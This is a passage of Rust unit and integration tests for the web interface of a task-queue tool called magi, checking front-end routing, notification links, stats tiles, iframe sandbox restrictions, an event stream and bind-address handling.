18678 q.reply("use **this**", Vec::new()).unwrap();
18679 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18680 let bodies = &v["thread_bodies_md"];
18681 assert_eq!(bodies.as_array().unwrap().len(), 2);
18682 assert!(!bodies[0].to_string().contains("strong"));
18683 assert!(bodies[1].to_string().contains("strong"));
18684 }
18685
18686 #[test]
18687 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
18688 let home = TempDir::new().unwrap();
18689 let store = ask::Questions::at(home.path().join("questions"));
18690 let mut q = Question::new(
18691 "run".to_owned(),
18692 "conduct".to_owned(),
18693 "conduct".to_owned(),
18694 "which?".to_owned(),
18695 String::new(),
18696 Vec::new(),
18697 );
18698 q.say("plain words").unwrap();
18699 q.thread.push(ask::Turn {
18700 who: ask::Who::Agent,
18701 body: "Settled as `merge`".to_owned(),
18702 at: jiff::Timestamp::now(),
18703 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
18704 });
18705 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
18706 let notes = &v["thread_notes_md"];
18707 assert_eq!(notes.as_array().unwrap().len(), 2);
18708 assert!(notes[0].is_null());
18709 let text = notes[1].to_string();
18710 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
18711 assert!(APP_JS.contains("ask-turn-note"));
18712 }
18713
18714 #[test]
18715 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
18716 assert!(APP_JS.contains("function landView(run, raw) {"));
18720 assert!(
18721 APP_JS.contains(
18722 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18723 )
18724 );
18725 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18726 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18727 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18728 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18729 }
18730
18731 #[test]
18732 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18733 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18734 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18735 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18736 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18737 }
18738
18739 #[test]
18740 fn review_rounds_label_a_distinct_verified_head() {
18741 assert!(APP_JS.contains("round.verified_head"));
18742 assert!(APP_JS.contains("verified HEAD"));
18743 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18744 }
18745
18746 #[test]
18747 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18748 assert!(APP_JS.contains("blocked: { glyph:"));
18752 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18753
18754 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18758 assert!(
18759 APP_JS.contains(
18760 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18761 ),
18762 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18763 );
18764 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18768
18769 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18773 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18774 assert!(
18775 APP_JS.contains("location.hash = \"#/questions\";"),
18776 "a question node must jump to the Questions screen, not pretend to be a task"
18777 );
18778
18779 assert!(APP_JS.contains("Resolved questions"));
18782 assert!(APP_JS.contains("r.answersList.append("));
18783 assert!(APP_CSS.contains(".task-answers"));
18784 {
18785 let start = APP_JS
18786 .find("function updateTalkTaskRow")
18787 .expect("updateTalkTaskRow");
18788 let body = &APP_JS[start..];
18789 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18790 assert!(
18791 body.contains(
18792 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18793 ),
18794 "a chat-filed task row must link to the task page"
18795 );
18796 assert!(
18797 !body.contains("#/runs/") && !body.contains("#/queue/"),
18798 "the row must not branch to a run or the queue card"
18799 );
18800 assert!(APP_CSS.contains(".talk-task-link"));
18801 }
18802 }
18803
18804 #[test]
18805 fn a_task_notification_links_to_the_task_page() {
18806 let start = APP_JS
18808 .find("function noticeLink(")
18809 .expect("noticeLink exists");
18810 let body = &APP_JS[start..];
18811 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18812 assert!(
18813 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18814 "a task notice's link must target the task page"
18815 );
18816 assert!(
18817 !body.contains("#/queue/"),
18818 "regression: the task link must not go back to the Backlog route"
18819 );
18820 assert!(
18821 APP_JS.contains(
18822 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18823 ),
18824 "`#/tasks/<id>` must parse into the task route"
18825 );
18826
18827 assert!(
18829 APP_JS.contains(
18830 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18831 ),
18832 "`#/queue/<id>` must parse into a route carrying that id"
18833 );
18834
18835 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18839 assert!(APP_JS.contains("function consumeQueueFocus()"));
18840 assert!(APP_JS.contains("jumpToTask(id)"));
18841 }
18842
18843 #[test]
18844 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18845 let start = APP_JS
18846 .find("function noticeCoveredBy(")
18847 .expect("noticeCoveredBy exists");
18848 let body = &APP_JS[start..];
18849 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18850
18851 assert!(body.contains("Associated question ${short}"));
18853 assert!(!body.contains("el(\"a\""));
18854
18855 assert!(body.contains("(resolved)"));
18857 assert!(body.contains("(closed)"));
18858
18859 let start = APP_JS
18860 .find("function renderNotifications()")
18861 .expect("renderNotifications exists");
18862 let body = &APP_JS[start..];
18863 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18864
18865 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18867 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18868 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
18869 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18870 }
18871
18872 #[test]
18875 fn chat_rows_put_the_title_alone_on_the_first_line() {
18876 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18877 assert!(APP_CSS.contains(
18878 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18879 ));
18880 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18881 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18882 }
18883
18884 #[test]
18885 fn run_rows_put_the_title_alone_on_the_first_line() {
18886 assert!(
18887 APP_CSS.contains(
18888 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18889 )
18890 );
18891 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18892 assert!(APP_JS.contains("class: \"card run-card\""));
18893 assert!(APP_JS.contains("class: \"repo run-id\""));
18894 }
18895
18896 #[test]
18900 fn wide_screens_show_list_and_preview_side_by_side() {
18901 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18903 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18904 assert!(APP_CSS.contains("main[data-split]"));
18905 assert!(APP_CSS.contains("body[data-split]"));
18906
18907 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18909 assert!(
18910 APP_JS.contains(
18911 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18912 )
18913 );
18914 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18915 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18916 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18917
18918 assert!(APP_JS.contains("function markSelected() {"));
18920 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18921 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18922 assert!(
18924 APP_CSS.contains(
18925 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18926 )
18927 );
18928
18929 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18931 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18932 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18933 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18934
18935 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18939 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18940 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18941 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18942
18943 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18945 }
18946
18947 #[test]
18948 fn panel_sandbox_carries_exactly_popups() {
18949 let needle = "sandbox: \"";
18950 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18951 assert_eq!(
18952 matches.len(),
18953 1,
18954 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18955 );
18956 let start = matches[0].0 + needle.len();
18957 let end = APP_JS[start..]
18958 .find('"')
18959 .expect("sandbox attribute value must be terminated by a closing quote");
18960 let val = &APP_JS[start..start + end];
18961 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18962 let expected: std::collections::BTreeSet<&str> =
18963 ["allow-popups", "allow-popups-to-escape-sandbox"]
18964 .into_iter()
18965 .collect();
18966 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18967 assert!(
18968 !tokens.contains("allow-scripts"),
18969 "allow-scripts must never be present in sandbox"
18970 );
18971 assert!(
18972 !tokens.contains("allow-same-origin"),
18973 "allow-same-origin must never be present in sandbox"
18974 );
18975 }
18976
18977 #[test]
18978 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18979 assert!(
18988 APP_JS.contains(
18989 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18990 ),
18991 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18992 recursive renderQueue() call has nothing left to jump to"
18993 );
18994 assert!(
18995 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18996 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18997 arrives later still gets it"
18998 );
18999 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
19000 assert!(APP_JS.contains("is not in the current Backlog."));
19001 assert!(APP_JS.contains("li.card[data-task-id=\""));
19002 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
19003 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
19004 assert!(APP_CSS.contains(".card-permalink"));
19005 assert!(APP_CSS.contains(".queue-focus-status"));
19006 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
19007 }
19008
19009 #[test]
19010 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
19011 assert!(
19019 APP_JS.contains(
19020 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
19021 ),
19022 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
19023 );
19024 }
19025
19026 #[test]
19027 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
19028 assert!(
19029 APP_JS.contains("round.verified_head !== round.head"),
19030 "a round that verified an earlier commit must be visibly distinct from one that \
19031 verified the head reviewers are looking at now"
19032 );
19033 assert!(
19034 APP_JS.contains("round.verified_at"),
19035 "when a check ran must be on the wire, not just which commit"
19036 );
19037 assert!(
19038 APP_JS.contains("resource_blocked"),
19039 "a command magi never got to run (shared build cache contention) must not render \
19040 the same as a command that ran and failed"
19041 );
19042 }
19043
19044 #[test]
19045 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
19046 assert!(
19054 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
19055 "every KPI tile built through statusTile() must route its click through \
19056 openRunsFiltered, the single place that sets the Runs filter"
19057 );
19058 for (label, status) in [
19059 ("Merged", "merged"),
19060 ("Ready", "ready"),
19061 ("Blocked", "blocked"),
19062 ("Stalled", "stalled"),
19063 ] {
19064 let call = format!("statusTile(\"{label}\", t.{status}, ");
19065 assert!(
19066 APP_JS.contains(&call),
19067 "expected the {label} KPI tile built via {call}..."
19068 );
19069 assert!(
19070 APP_JS.contains(&format!("status === \"{status}\"")),
19071 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19072 compare a run against, not one invented only for the stats tile"
19073 );
19074 }
19075 assert!(
19076 APP_JS.contains("function openRunsFiltered(status)"),
19077 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19078 );
19079 assert!(
19080 APP_JS.contains(
19081 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19082 ),
19083 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19084 );
19085 assert!(
19093 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19094 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19095 hashchange event that may never fire"
19096 );
19097 }
19098
19099 #[test]
19100 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19101 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19107 assert!(
19108 APP_JS.contains(
19109 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19110 ),
19111 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19112 guard for an incompatible tree section"
19113 );
19114 }
19115
19116 #[test]
19117 fn every_stats_queue_tile_names_a_real_queue_section() {
19118 assert!(
19124 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19125 "every queue tile built through sectionTile() must route its click through \
19126 openQueueSectionFocus"
19127 );
19128 for key in ["upnext", "running", "done", "held", "blocked"] {
19129 assert!(
19130 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19131 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19132 );
19133 }
19134 for line in [
19138 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19139 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19140 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19141 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19142 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19143 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19144 ] {
19145 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19146 }
19147 }
19148
19149 #[test]
19150 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19151 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19158 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19159 assert!(APP_JS.contains("function revealQueueSection(details)"));
19160 assert!(
19161 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
19162 "renderQueue() must consume both focus channels on every pass"
19163 );
19164 assert!(
19165 APP_JS.contains(
19166 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
19167 ),
19168 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19169 the recursive renderQueue() call has nothing left to reveal"
19170 );
19171 assert!(
19172 APP_JS.contains(
19173 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
19174 ),
19175 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19176 );
19177 assert!(
19185 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
19186 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
19187 hashchange event that may never fire"
19188 );
19189 }
19190
19191 #[tokio::test]
19192 async fn the_change_stream_announces_the_current_revisions_on_connect() {
19193 let f = Fixture::start().await;
19194
19195 let mut socket = tokio::net::TcpStream::connect(f.addr)
19196 .await
19197 .expect("connect");
19198 socket
19199 .write_all(
19200 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
19201 )
19202 .await
19203 .expect("write request");
19204
19205 let mut seen = String::new();
19208 let mut buf = [0u8; 1024];
19209 while !seen.contains("event: change") {
19210 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
19211 .await
19212 .expect("the stream must speak within five seconds")
19213 .expect("read");
19214 assert!(read > 0, "the server closed the change stream: {seen}");
19215 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
19216 }
19217
19218 assert!(
19219 seen.to_lowercase()
19220 .contains("content-type: text/event-stream"),
19221 "the browser only reconnects automatically for a real SSE stream: {seen}"
19222 );
19223 let data = seen
19224 .lines()
19225 .find_map(|l| l.strip_prefix("data:"))
19226 .expect("a data line");
19227 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
19228 assert!(
19229 payload["queue_rev"].is_u64()
19230 && payload["runs_rev"].is_u64()
19231 && payload["questions_rev"].is_u64()
19232 && payload["talks_rev"].is_u64()
19233 && payload["notifications_rev"].is_u64()
19234 && payload["loop_rev"].is_u64(),
19235 "the client needs one revision per store to know what to refetch, \
19236 and `talks_rev` is the only notification a standing talk gets - a \
19237 phone whose radio slept through a turn learns about it here, as \
19238 does one whose operator started the loop from another device: \
19239 {payload}"
19240 );
19241
19242 let health = f.get("/api/health").await.json();
19249 for key in [
19250 "queue_rev",
19251 "runs_rev",
19252 "questions_rev",
19253 "talks_rev",
19254 "notifications_rev",
19255 "loop_rev",
19256 ] {
19257 assert!(
19258 health[key].is_u64(),
19259 "health is the change stream's fallback and is missing `{key}`: {health}"
19260 );
19261 }
19262 }
19263
19264 #[tokio::test]
19265 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
19266 let f = Fixture::start().await;
19267 let before = f.get("/api/health").await.json()["talks_rev"]
19268 .as_u64()
19269 .expect("talks_rev");
19270
19271 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
19272 std::thread::sleep(Duration::from_millis(10));
19273 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
19274 on_disk.turns.push(crate::talk::Turn {
19275 sender: None,
19276 breaks: Some(Vec::new()),
19277 messages: Vec::new(),
19278 posted_by: None,
19279 who: crate::talk::Who::Operator,
19280 body: "a new turn".to_owned(),
19281 at: Timestamp::now(),
19282 attachments: Vec::new(),
19283 usage: None,
19284 });
19285 f.talks().put(&mut on_disk).expect("record a turn");
19286
19287 let after = f.get("/api/health").await.json()["talks_rev"]
19288 .as_u64()
19289 .expect("talks_rev");
19290 assert_ne!(
19291 before, after,
19292 "a phone must be able to notice a talk's reply without polling every store"
19293 );
19294 }
19295
19296 #[test]
19297 fn bind_reads_back_from_the_spelling_the_cli_prints() {
19298 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
19302 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
19303 }
19304 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
19305 assert!("everywhere".parse::<Bind>().is_err());
19306 }
19307
19308 #[test]
19309 fn an_explicit_bind_address_is_taken_verbatim() {
19310 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
19311
19312 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
19313
19314 assert_eq!(addr, asked);
19315 assert!(
19316 warning.is_none(),
19317 "an operator who named an address gets no lecture"
19318 );
19319 }
19320
19321 #[test]
19322 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
19323 let (addr, warning) = resolve_bind(&Bind::Auto);
19324
19325 match addr {
19332 IpAddr::V4(ip) if is_tailnet(&ip) => {
19333 assert!(warning.is_none(), "a tailnet address needs no warning");
19334 }
19335 other => {
19336 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
19337 let warning = warning.expect("a fallback has to explain itself");
19338 assert!(
19339 warning.contains("127.0.0.1") && warning.contains("local-only"),
19340 "the warning says what happened and what it costs: {warning}"
19341 );
19342 }
19343 }
19344 }
19345
19346 #[test]
19347 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
19348 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
19352 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
19353 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
19354 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
19355 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
19356 }
19357
19358 #[test]
19359 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
19360 let ids = vec![
19361 "20260902-140501-aaaa".to_owned(),
19362 "20260902-140502-aabb".to_owned(),
19363 ];
19364
19365 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
19366 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
19367 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
19368
19369 assert_eq!(missing.status, StatusCode::NOT_FOUND);
19370 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
19371 assert_eq!(short, "20260902-140502-aabb");
19372 }
19373 #[tokio::test]
19374 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
19375 let fx = Fixture::start().await;
19381 let id = panel(
19382 &fx,
19383 "<img src=\"shot.png\">",
19384 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
19385 );
19386
19387 let doc = fx
19389 .get(&format!("/api/questions/{id}/panel/index.html"))
19390 .await;
19391 assert_eq!(doc.status, 200, "{}", doc.body);
19392 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
19393
19394 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
19395 assert_eq!(sibling.status, 200, "{}", sibling.body);
19396 assert_eq!(sibling.header("content-type"), Some("image/png"));
19397 assert_eq!(
19398 sibling.header("content-security-policy"),
19399 Some(PANEL_CSP),
19400 "the sibling route must carry the same policy as the asset route"
19401 );
19402
19403 assert_eq!(
19406 fx.head(&format!("/api/questions/{id}/panel")).await.status,
19407 200
19408 );
19409 }
19410
19411 #[test]
19412 fn delta_stamps_cover_add_update_remove_and_noop() {
19413 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
19414 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
19415 let delta = diff_stamps(&before, &after, 42);
19416 assert_eq!(delta.base, 42);
19417 assert_eq!(delta.changed, ["b", "c"]);
19418 assert_eq!(delta.removed, ["a"]);
19419 let same = diff_stamps(&after, &after, 43);
19420 assert!(same.changed.is_empty() && same.removed.is_empty());
19421 assert_ne!(stamps_revision(&before), stamps_revision(&after));
19422 let nanos: Stamps = [("b".into(), (2, 20))].into();
19423 let same_ms: Stamps = [("b".into(), (3, 20))].into();
19424 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
19425 assert_eq!(stamps_revision(&Stamps::new()), 0);
19426 }
19427
19428 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
19429 std::fs::create_dir_all(home.join("runs")).unwrap();
19430 Arc::new(Ui::new(
19431 Queue::at(home.join("queue")),
19432 Questions::at(home.join("questions")),
19433 Talks::at(home.join("talks")),
19434 home.join("runs"),
19435 home.to_owned(),
19436 PathBuf::from("/repo/magi"),
19437 ))
19438 }
19439
19440 #[tokio::test]
19441 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
19442 let home = TempDir::new().unwrap();
19443 let ui = delta_test_ui(home.path());
19444 let mut task = Task::new(
19445 "stream task".into(),
19446 "text".into(),
19447 PathBuf::from("/repo"),
19448 Source::Human,
19449 );
19450 ui.queue.put(&mut task).unwrap();
19451 let response = events(State(ui.clone())).await.into_response();
19452 let mut stream = response.into_body().into_data_stream();
19453 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
19454 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
19455 .await
19456 .unwrap()
19457 .unwrap()
19458 .unwrap();
19459 let text = String::from_utf8(chunk.to_vec()).unwrap();
19460 let data = text
19461 .lines()
19462 .find_map(|line| {
19463 line.strip_prefix("data: ")
19464 .or_else(|| line.strip_prefix("data:"))
19465 })
19466 .unwrap();
19467 serde_json::from_str(data).unwrap()
19468 }
19469 let initial = change(&mut stream).await;
19470 assert!(initial.get("queue_delta").is_none());
19471 task.instruction.push_str(" changed");
19472 ui.queue.put(&mut task).unwrap();
19473 let updated = change(&mut stream).await;
19474 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
19475 assert_eq!(
19476 updated["queue_delta"]["changed"],
19477 serde_json::json!([task.id])
19478 );
19479 assert_eq!(
19480 updated["queue_rev"].as_u64(),
19481 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
19482 );
19483 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
19484 let removed = change(&mut stream).await;
19485 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
19486 assert_eq!(
19487 removed["queue_delta"]["removed"],
19488 serde_json::json!([task.id])
19489 );
19490 }
19491
19492 #[tokio::test]
19493 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
19494 let home = TempDir::new().unwrap();
19495 let ui = delta_test_ui(home.path());
19496 let queue = ui.queue.clone();
19497 let query = |ids: Option<&str>| {
19498 Query(ListQuery {
19499 limit: Some(2),
19500 ids: ids.map(str::to_owned),
19501 })
19502 };
19503 let mut root = Task::new(
19504 "root".into(),
19505 "instruction".into(),
19506 PathBuf::from("/repo"),
19507 Source::Human,
19508 );
19509 queue.put(&mut root).unwrap();
19510 let mut blocked = Task::new(
19511 "blocked".into(),
19512 "instruction".into(),
19513 PathBuf::from("/repo"),
19514 Source::Human,
19515 );
19516 blocked.block(vec![root.id.clone()], None);
19517 queue.put(&mut blocked).unwrap();
19518 let whole =
19519 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
19520 .unwrap();
19521 let subset = serde_json::to_value(
19522 queue_list(State(ui.clone()), query(Some(&root.id)))
19523 .await
19524 .unwrap()
19525 .0,
19526 )
19527 .unwrap();
19528 assert_eq!(whole, subset, "requested root plus its blocked dependent");
19529 let blockers = serde_json::to_value(
19530 queue_list(State(ui.clone()), query(Some("")))
19531 .await
19532 .unwrap()
19533 .0,
19534 )
19535 .unwrap();
19536 assert_eq!(blockers.as_array().unwrap().len(), 1);
19537 assert_eq!(blockers[0]["id"], blocked.id);
19538 assert_eq!(
19539 blockers[0]["waits_on"],
19540 whole
19541 .as_array()
19542 .unwrap()
19543 .iter()
19544 .find(|row| row["id"] == blocked.id)
19545 .unwrap()["waits_on"]
19546 );
19547
19548 for id in [
19549 "20260902-140501-aaaa",
19550 "20260902-140502-bbbb",
19551 "20260902-140503-cccc",
19552 ] {
19553 write_run(&ui.runs, id, RunStatus::Merged);
19554 }
19555 let old = serde_json::to_value(
19556 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19557 .await
19558 .unwrap()
19559 .0,
19560 )
19561 .unwrap();
19562 assert!(
19563 old.as_array().unwrap().is_empty(),
19564 "older updates must not enter the window"
19565 );
19566 let newest = serde_json::to_value(
19567 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19568 .await
19569 .unwrap()
19570 .0,
19571 )
19572 .unwrap();
19573 assert_eq!(newest.as_array().unwrap().len(), 1);
19574 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19575
19576 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19577 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19578 let talks = serde_json::to_value(
19579 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19580 .await
19581 .unwrap()
19582 .0,
19583 )
19584 .unwrap();
19585 assert_eq!(talks.as_array().unwrap().len(), 1);
19586 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19587 assert_eq!(
19588 serde_json::to_value(
19589 talks_list(State(ui.clone()), query(Some("")))
19590 .await
19591 .unwrap()
19592 .0
19593 )
19594 .unwrap(),
19595 serde_json::json!([])
19596 );
19597 }
19598
19599 #[tokio::test]
19600 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19601 async fn delta_payload_benchmark() {
19602 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19603 let ui = delta_test_ui(&home);
19604 let query = |ids: Option<String>| {
19605 Query(ListQuery {
19606 limit: Some(50),
19607 ids,
19608 })
19609 };
19610 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19611 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19612 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19613 let queue_id = queue
19614 .iter()
19615 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19616 .unwrap_or(&queue[0])
19617 .task
19618 .id
19619 .clone();
19620 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19621 .await
19622 .unwrap()
19623 .0;
19624 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19625 .await
19626 .unwrap()
